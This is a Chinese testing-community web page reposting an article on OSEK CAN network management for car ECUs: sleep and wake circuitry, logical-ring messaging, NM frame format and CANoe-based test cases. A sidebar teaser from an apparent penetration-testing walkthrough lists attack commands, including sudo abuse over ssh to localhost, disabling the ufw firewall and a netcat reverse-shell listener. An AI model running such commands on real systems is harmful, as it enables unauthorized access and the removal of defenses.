• 0
  • 0
分享
  • 汽车控制器CAN网络管理解析及测试方法(OSEK)——软件测试圈
  • 小丸子🍡 2024-07-09 16:31:26 字数 3324 阅读 1631 收藏 0

  一、网络管理功能的目的

  解决蓄电池电量有限,如果整车控制器同时工作会造成电池亏电的问题。通过网络管理功能,当用户需要请求相关功能时,参与该功能的相关ECU节点才需要启动起来。

  协调各 ECU 同时进入网络睡眠模式;车载控制器网络管理功能就是通过在各个ECU的网络上,发送一些命令制定一套规则,来实现整车各个ECU的协同睡眠和唤醒。按照唤醒方式,我们可以将ECU网络节点类型划分为本地唤醒与远程唤醒。本地唤醒:唤醒源来源于自身模块,比如KL15硬线唤醒;远程唤醒:唤醒源来源于自身ECU节点所在的网络报文,该节点可以处于完全休眠状态;

  二、结合硬件电路说说网络管理功能

  为了支持睡眠和唤醒,ECU的芯片必须支持低功耗模式和正常工作模式的切换。低功耗模式(ECU睡眠)指一个ECU断电或者处于极少数的外围器件工作的模式;唤醒指的是ECU处于全工作模式。

  休眠机制:控制器在一段时间接收不到CAN网络管理帧,控制器的主芯片MCU通过GPIO口控制TJA1043 CAN芯片管脚STB_N为低电平和管脚EN为高电平,经过最小保持时间后芯片进入休眠模式,CAN芯片INH管脚置低。TLE8366电源芯片使能管脚EN置低(INH连接至电源管理芯片EN脚),停止输出主5V电源,主芯片不工作,整个控制器断电不再工作。TJA1043进入低功耗状态,仅由汽车电池对管脚VBAT提供基础工作电源。

  唤醒机制:控制器收到CAN网络管理帧,TJA1043短时唤醒,INH管脚置高。电源芯片使能管脚EN置高(INH连接至电源管理芯片EN脚)开始输出主5V电源,主芯片开始工作,MCU进入工作状态后立即控制CAN TJA1043芯片管脚STB_N为高电平和EN为高电平,使TJA1043从休眠模式进入待机模式后开始正常工作。

1-1.jpg

  三、网络管理功能的工作原理

1-2.jpg

  所有参与直接网络管理的ECU,建立逻辑环的通信机制:是由若干个节点组成的环状结构,每个节点都有一个逻辑上的后继节点,而最后一个节点的后继节点又是第一个节点,这样就组成了一个环状的结构。NM 报文以这种令牌环机制依次发送形成逻辑环;网络管理报文ID从小到大发送,然后从最大节点到最小节点依次建成逻辑环。

  唤醒后建立逻辑环过程:申请和传递的路径。

  1) 控制器唤醒后想参与网络的节点会先发Alive报文申请加入逻辑环。

  2)逻辑环建成后,各节点按顺序发Ring报文向后续节点传递“令牌”。

1-3.jpg

  每个参与网络管理报文包括ID和目标地址、操作码、用户数据部分组成。ECU 都有一个特定的网络管理地址;网络管理报文类型分为 Alive 报文、Ring 报文和 LimpHome 报文,通过操作码的组合形式实现;

  当建立逻辑环,ECU 发送Ring 报文,接收到Ring 报文的其它 ECU 监控目标地址,判断是否被跳过,若被跳过则发送Alive 报文,提示其它 ECU 更新逻辑后继,重新建立逻辑环;

  逻辑环稳定时,ECU不需要 CAN通信时,该 ECU 将发送的 Ring 报文中设置SleepInd,以通知网络中其它 ECU。当逻辑环中所有的 ECU 都发送了设置 Sleep.Ind 的 Ring 报文,总线上所有 ECU 都满足睡眠条件的 ECU 会发送Sleep.Ack的 Ring 报文,网络中所有的 ECU 接收到设置 Sleep.Ack 的 Ring 报文后同步进入等待睡眠状态;如果在进入等待睡眠状态后 t WaitBusSleep 时间内,网络中所有 ECU 没有检测到中断事件,将同步进入睡眠状态。如果ECU 监测到中断事件,则 ECU 重新发送 Alive 报文,重新建立逻辑环;如果应用程序需要 CAN 通信,睡眠指示位将被复位,此时 ECU 睡眠条件不满足,即 Sleep.Ind=0;当应用程序不再需要 CAN 通信,此时 ECU 睡眠条件满足,在下次发送 NM 报文时会将其睡眠指示位置位,即Sleep.Ind=1。

  四、网络管理报文格式

1-4.jpg

  OSEK网络管理报文规则:

  ID:4xx,其中4代表此帧报文为网络管理报文,xx代表当前节点的基地址。在OSEK网络管理中会给每个节点分配一个基地址(00~FF)。

  Byte0: 网络管理报文发送的目标地址。表明网络管理报文是发送给哪个控制器节点。

  Byte1:代表发送的网络管理报文的类型即是ring报文还是Alive报文或者LimpHome报文;01:代表 Alive报文,在总线上声明自己的存在,请求其他节点与自己建环。02:代表Ring报文;12:代表当前节点已无通讯请求(睡眠标志位置位SleepInd=1),即告知其他节点我已满足睡眠条件;32:睡眠应答请求(SleepAck =1),当检测到其他节点都在发送12的ring报文后,最后节点发送此应答报文,此时进入睡眠等待状态。04:代表跛行报文,如果网络管理报文接收计数器和发送计数器超限后,发送跛行报文即无其他节点与此节点建环,只有一个节点存在。

  Byte2-Byte7:用户定义的数据。

  五、网络管理功能测试方法

  测试工具主要包括CANoe工具、CANStress工具、VN1640工具及其上位机软件。

1-5.jpg

1-6.jpg

  测试项目主要包括:逻辑环测试、睡眠状态测试、Limphome状态测试、逻辑环中新节点加入测试、本地唤醒请求测试、远程唤醒请求测试、结束唤醒测试、网络管理报文格式测试、TType/TMax/Terror/TWaitBusSleep等时间参数测试、网络管理错误处理测试。

  逻辑环测试

  CANOE工具模拟其它节点,通过KL15唤醒网络,通过CANOE模拟总线其它节点,与该节点进行建立逻辑环。

  睡眠状态测试

  CANOE工具模拟其它节点,通过KL15唤醒网络,通过CANOE模拟总线其它节点,并设置睡眠标志位为真,检测睡眠标志位为真,经过t时间后,总线进入睡眠模式。

  Limphome状态测试

  CANOE工具模拟其它节点,通过KL15唤醒网络,被测节点进入Limphome模式。

  逻辑环中新节点加入测试

  CANOE工具模拟其它节点,通过KL15唤醒网络,通过CANOE模拟总线其它节点,与该节点进行建立逻辑环,通过CANOE再模拟一个新的节点加入到逻辑环中。

  逻辑环中某节点退出测试

  CANOE工具模拟其它节点,通过KL15唤醒网络,通过CANOE模拟总线其它节点,与该节点进行建立逻辑环,通过CANOE停止模拟其中一个节点退出逻辑环。

  本地唤醒请求测试

  CANOE工具模拟其它节点,通过KL15唤醒网络,检查是否发出Alive及Ring报文

  远程唤醒请求测试

  CANOE工具模拟其它节点,通过CANOE模拟总线其它网络节点报文,检查是否有Alive报文发出。

  结束唤醒测试

  CANOE工具模拟其它节点,通过CANOE模拟总线其它网络节点报文,Alive报文发出后,进入Limphome模式,并发送SleepInd标志位。

  网络管理报文格式测试

  CANOE工具模拟其它节点,通过KL15唤醒网络,检查是报文格式及ID。包含Alive、Ring、Limphome、SleepInd、SleepAck、Dest等报文组合形式。

  TType/TMax/Terror/TWaitBusSleep等时间参数测试

  测试的Alive报文与Ring报文之间的时间参数TTyp、测试的Ring和下一帧Alive报文之间的时间参数TMax、测量时间参数TError是否满足协议要求的网络管理时间参数,NMNormal状态下TWaitBusSleep时间参数测试。

  网络管理错误处理测试

  使用CANOE模拟节点网络管理报文,让总线进入睡眠模式,通过本地唤醒,使用CANstress干扰DUT发送报文RTR bit位,确保进入busoff状态,通过canoe trace窗口检查Tbusoff的时间。


作者:汽车电控技术开发    

来源:http://www.51testing.com/html/07/n-7796507.html

  • 【留下美好印记】
    赞赏支持
登录 后发表评论
+ 关注

热门文章

    最新讲堂

      • 推荐阅读
      • 换一换
          •   1、测试中,为什么是32个错误帧出现一次Busoff?  Busoff的产生是因为TEC(Transmit Error Counter)>255导致,再次提醒:与REC(Receive  Error Counter)无关。也就是说,如果节点状态切换到Busoff,是因为节点自身外发报文错误导致TEC>255。  回顾一下节点状态机,节点状态机如下所示:  在切入主题之前,对Error Passive状态做一个展开,节点由Error Active进入Error Passive,是因为REC>127 or TEC>127。所以,节点进入Error Passive状态的可以分两个层面看...
            0 0 1847
            分享
          •   当年我零基础转行到IT行业,薪酬翻倍,分享一些超有用的经验,希望对题主有所帮助。  首先,评估是否应该转行,最核心的点是要衡量「机会成本」,即评估转行后的职业前景、薪酬水平、岗位的契合度是否比当前行业的岗位好,毕竟转行意味着需要重新学习对应岗位的技能,花费很多时间和精力去积累相关经验,所以做好机会成本的评估很重要,这样可以避免转了之后后悔。  如何做好自我评估  做自我评估最核心的是这几个点:性格特质、兴趣爱好、天赋能力、过往经验。  就拿我当年的情况来说吧,我学的是会计专业,毕业后从事财务相关的工作。在做财务的三年间,总体印象是:财务起薪低,工作内容重复枯燥,行业也比较卷,看不到前景; ...
            0 0 321
            分享
          • 命令执行漏洞一般查看home目录,挖掘用户信息:ls -alh /home查看具体用户的目录:ls -alh /home/用户名/查看系统信息:uname -a利用ssh命令执行root权限命令使用ssh 用户名@localhost通过ssh登录服务器是不需要身份验证的;比如查看bill用户sudo命令的权限:ssh bill@localhost sudo -lubuntu自带防火墙,所以关闭防火墙方便后面的操作。ssh bill@localhost sudo ufw disable反弹shell攻击机启动监听netcatnc -nlvp&nb...
            14 14 3272
            分享
          • 1.按测试阶段划分(1) 单元测试单元测试(模块测试):针对软件设计最小的单位-程序模块,进行正确性检查的测试工作单元测试需要从程序内部结构出发设计测试用例,多个模块可以平行的独立进行单元测试单元定义:C中个一个函数,Java中的一个类在图像化软件中是一个窗口( Android的首页,我的,商品详情)(2) 集成测试集成测试(组装测试):在单元测试基础上,将所有的程序模块进行有序的,递增的测试,重点测试模块之间的接口部分(3) 系统测试系统测试:整个软件系统,全面的在进行一次测试2.是否覆盖源代码白盒测试白盒测试:看代码,研究程序源代码,和程序结构黑盒测试黑盒测试:没有代码,就是看表面的效果,...
            13 13 2445
            分享
          •   从去年决定跳出舒适区,应聘大厂,截止到目前已经将近一年,值此之际,总结下自己近一年在大厂的经历。  希望通过我的感触,能够帮助你们进一步了解大厂的测试工作。  维护上下游合作关系  在大厂,人际关系非常重要,为什么要把它放在第一位,是因为在大厂里做测试的时候,所涉及的系统错综复杂,种类繁多,经常要进行上下游的联调测试。  我刚开始的时候,测试联调找不到相关的责任人,使得自己在测试工作中浪费了大量的时间和精力,所以进入大厂之后,一定先要:  首先,梳理自己负责系统的上下游联系人,将其联系方式整理起来,方便后续查询联络,可以参考下面表格进行简单汇总即可。  其次,维护好自己与前辈的关系,保持自...
            12 12 1763
            分享
      • 51testing软件测试圈微信